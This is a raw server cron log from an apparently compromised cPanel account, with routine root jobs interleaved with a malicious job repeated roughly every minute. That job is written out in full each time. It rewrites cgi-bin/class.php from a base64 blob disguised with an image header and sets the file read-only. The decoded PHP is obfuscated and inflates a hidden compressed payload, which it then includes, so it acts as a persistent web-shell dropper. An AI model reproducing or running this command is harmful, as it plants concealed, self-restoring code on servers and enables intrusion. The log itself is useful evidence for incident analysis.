Sep  8 07:52:01 server CROND[8367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:53:01 server CROND[8734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:53:01 server CROND[8735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:53:01 server CROND[8736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:54:01 server CROND[9113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:54:01 server CROND[9114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:54:01 server CROND[9116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:55:01 server CROND[9592]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:55:01 server CROND[9594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:55:01 server CROND[9596]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:55:01 server CROND[9595]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:55:01 server CROND[9600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:55:01 server CROND[9598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:55:01 server CROND[9599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:56:01 server CROND[10497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:56:01 server CROND[10498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:56:01 server CROND[10499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:57:01 server CROND[10870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:57:01 server CROND[10871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:57:01 server CROND[10872]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 07:57:01 server CROND[10873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:58:01 server CROND[11238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:58:01 server CROND[11237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:58:01 server CROND[11236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:59:01 server CROND[11616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:59:01 server CROND[11617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:59:01 server CROND[11618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:00:01 server CROND[12100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:00:01 server CROND[12115]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 08:00:01 server CROND[12113]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  8 08:00:01 server CROND[12116]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:00:01 server CROND[12124]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 08:00:01 server CROND[12123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:00:01 server CROND[12125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:00:01 server CROND[12121]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:00:01 server CROND[12120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:00:01 server CROND[12122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:00:01 server CROND[12119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:01:01 server CROND[13012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:01:01 server CROND[13013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:01:01 server CROND[13014]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 08:01:01 server CROND[13015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:01:01 server run-parts(/etc/cron.hourly)[13014]: starting 0anacron
Sep  8 08:01:01 server run-parts(/etc/cron.hourly)[13036]: finished 0anacron
Sep  8 08:02:01 server CROND[13458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:02:01 server CROND[13459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:02:01 server CROND[13460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:03:01 server CROND[13829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:03:01 server CROND[13830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:03:01 server CROND[13831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:04:01 server CROND[14213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
